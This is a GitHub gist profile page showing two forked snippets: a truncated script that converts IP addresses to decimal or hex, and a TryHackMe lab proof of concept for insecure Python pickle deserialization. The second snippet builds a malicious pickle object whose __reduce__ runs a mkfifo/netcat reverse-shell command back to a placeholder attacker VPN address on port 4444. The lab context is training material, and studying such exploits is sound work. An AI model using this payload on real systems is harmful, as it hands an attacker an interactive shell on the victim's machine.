Skip to content

Instantly share code, notes, and snippets.

View Zinkuth's full-sized avatar
🎯
Focusing

Zinkuth Zinkuth

🎯
Focusing
View GitHub Profile
@Zinkuth
Zinkuth / ip2dh.py
Created August 10, 2020 04:58 — forked from mzfr/ip2dh.py
Convert IP address to Decimal or hexadecimal format
"""
You can run this in the following format:
For decimal: python3 ip2dh.py D <Ip-address>
For Hexadecimal: python3 ip2dh.py H <Ip-address>
"""
#!/usr/bin/python3
import sys
if len(sys.argv) < 3:
@Zinkuth
Zinkuth / rce.py
Created July 21, 2020 07:06 — forked from CMNatic/cloudSettings
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))